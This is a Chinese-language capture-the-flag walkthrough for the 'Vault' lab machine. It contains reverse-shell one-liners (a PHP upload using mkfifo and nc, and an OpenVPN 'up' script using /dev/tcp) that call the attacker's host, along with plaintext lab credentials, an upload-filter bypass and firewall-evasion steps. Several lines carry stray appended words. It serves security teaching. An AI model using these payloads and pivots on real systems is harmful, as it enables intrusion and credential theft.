本文做者:是大方子(Ms08067實驗室核心成員)
php
Kali: 10.10.14.213
靶機地址:10.10.10.109html
先用nmap探測靶機git
nmap -sC -sT -sV 10.10.10.109
掃描結果以下:github
看看80端口有什麼東西web
咱們用gobuster進行探測下sql
gobuster -u http://10.10.10.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -o gobuster-sparklays -t 100
掃了好久沒有掃出什麼東西shell
後來注意到這句話
We are proud to announce our first client: Sparklays (Sparklays.com still under construction)ubuntu
嘗試在Url後面加上/sparklay安全
~# gobuster -u http://10.10.10.109/sparklays -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays
咱們打開login.phpbash
打開下admin.php
嘗試過繞過以及常見賬戶密碼
奇怪的是發現提交的賬戶密碼居然是用GET方式,以爲很奇怪試着攔截登錄的數據包並放到sqlmap跑跑看,發現並無注入點
sqlmap -r sparklays-admin-login.req --batch
咱們在打開design
是Forbidden,那麼這個目錄下咱們在gobuster下
gobuster -u http://10.10.10.109/sparklays/design -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays-design
打開upload.php
打開design.html看看
點【Change Logo】
咱們寫一個反彈的shell進行上傳
<?php system('r, /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.213 1337 >/tmp/f'); ?>
被拒絕上傳了
咱們來FUZZ下運行上傳的後綴名看看能不能經過後綴名進行繞過
這裏我用到這個字典: https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt
這裏我用burp的intruder模塊進行fuzz
發現php5是上傳成功的,咱們把shell改爲shell.php5再次上傳
而後咱們kali 開啓監聽1337端口
咱們在訪問
http://10.10.10.109/sparklays/design/uploads/shell.php5
而後就會獲得一個shell
發現有2個用戶
我在dave的Desktop目錄下面看到一個ssh文件
Cat下獲得一下內容
dave:Dav3therav3123
那麼咱們經過ssh鏈接到靶機上
咱們在看看dave桌面上的其餘文件
第一個key還不知道是什麼意思就先留着。
第二個Servers應該是對應服務器的IP以及該服務器是什麼
咱們如今對DNS服務器進行掃描看看,可是靶機上面沒有nmap 可是咱們能夠用nc看成端口掃描器
咱們能夠看到192.168.122.4開放了22和80端口。因爲是內網的環境咱們是沒法訪問到192.168.122.4的,因此咱們須要作一個隧道把192.168.122.4的80端口映射到咱們本地的1234端口
ssh -L 1234:192.168.122.4:80 dave@10.10.10.109
點擊【Click here to modify your DNS Settings】
發現是Not Found
點擊【Click here to test your *** Configuration】
打開後是一個***配置信息,並容許咱們測試咱們的***
這裏我找一遍關於如何用o***配置文件反彈shell的教程
https://medium.com/tenable-techblog/reverse-shell-from-an-open***-configuration-file-73fd8b1d38da
咱們找下靶機的內網IP地址
讓靶機監聽9002端口
remote 192.168.122.1 nobind dev tun script-security 2 up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.122.1/9002 0<&1 2>&1&'"
先點【Update file】而後再點【Test ***】
就會獲得一個shell
獲得userflag
接下來是獲取root flag
咱們在dave的目錄裏面找到一個ssh憑藉
dave:dav3gerous567
咱們直接經過ssh鏈接DNS服務器
咱們嘗試sudo -i切換爲root,
可是目錄裏面沒有咱們想要的rootflag
以前咱們注意到在dave的機器上有三臺服務器,可是最後的The vault 是沒有給出IP地址的,root flag可能就在那臺機器上,因此咱們須要去找線索
咱們在DNS的hosts文件中找到了The vault的IP地址
可是DNS服務器是沒法ping通的
可是DNS確實存在192.168.5.2的路由,猜想應該是禁止ping
後來發現DNS存在nmap 咱們用nmap來進行端口探測
-Pn:表示默認主機在線,跳過主機發現
-v:顯示詳細信息
-n:不進行DNS解析
發現2個端口都被closed,多是真的關閉,可是也有多是防火牆的緣由
咱們嘗試使用nmap 的 –source-port參數
每一個TCP數據包帶有源端口號。默認狀況下Nmap會隨機選擇一個可用的傳出源端口來探測目標。該–source-port選項將強制Nmap使用指定的端口做爲源端口。這種技術是利用了防火牆盲目地接受基於特定端口號的傳入流量的弱點。端口21(FTP),端口53(DNS)和67(DHCP)是這種掃描類型的常見端口。
發現一個987端口,咱們用nc從本地的53端口進行鏈接
是openssh服務
對於這種防火牆咱們能夠嘗試使用IPV6的規則繞過
先查看DNS服務器是否支持IPV6
FF02::1指全部開啓了IPv6組播的主機,和IGMP中的224.0.0.1對應
說明DNS服務器支持IPV6
咱們在查找下DNS服務器的的鄰居
再看下DNS的路由和ip信息
咱們能夠看到192.168.5.0/24的流量都要經過ens3到192.168.122.5去
在192.168.155.5是防火牆的地址
咱們在看DNS的鄰居,發現還有3條IPV6,說明vault的IPV6應該在裏面
咱們在查看arp
192.168.122.5對應的ipv6是fe80::5054:ff:fe3a:3bd5
下面這2條ipv6的地址就是 valut和firewall的
fe80::5054:ff:fec6:7066
fe80::5054:ff:fee1:7441
咱們直接用nmap進行端口掃描,若是防火牆沒有配置ipv6的規則的話如是valut的地址就會出現以前的987端口
這樣咱們就肯定了fe80::5054:ff:fec6:7066是vault的IPV6地址,而且防火牆規則並無阻攔ipv6的地址,同時咱們的DNS服務器能夠直接經過ipv6繞過防火牆跟vault進行通信
那麼咱們直接ssh進行鏈接
密碼跟以前的同樣:dav3gerous567
咱們能夠看到這個pgp的ID爲D1EB1F03
咱們看下vault系統是否存在密鑰,不存在
可是咱們在dave@ubuntu上找到了
因此咱們須要把文件發送到dave@ubuntu進行解密
咱們退回到dave@DNS上,利用scp將文件拷貝出來
scp -P 987 dave@[fe80::5054:ff:fec6:7066%ens3]:root* .
輸入密碼:dav3gerous567
而後咱們須要在把這個文件傳送到dave@ubuntu上面
咱們在ubuntu上面執行
而後在DNS上把文件傳輸過來
這樣文件就到了Ubuntu上面了
咱們用md5sum來校驗下文件的完整性
文件正常傳輸的
咱們用gpg 解密下root.txt.gpg
要求咱們輸入密碼
密碼就是咱們以前找到的key
獲得root flag
轉載請聯繫做者並註明出處!
Ms08067安全實驗室專一於網絡安全知識的普及和培訓。團隊已出版《Web安全***:***測試實戰指南》,《內網安全***:***測試實戰指南》,《Python安全***:***測試實戰指南》,《Java代碼安全審計(入門篇)》等書籍。團隊按期分享關於CTF靶場、內網***、APT方面技術乾貨,從零開始、以實戰落地爲主官方網站:https://www.ms08067.com/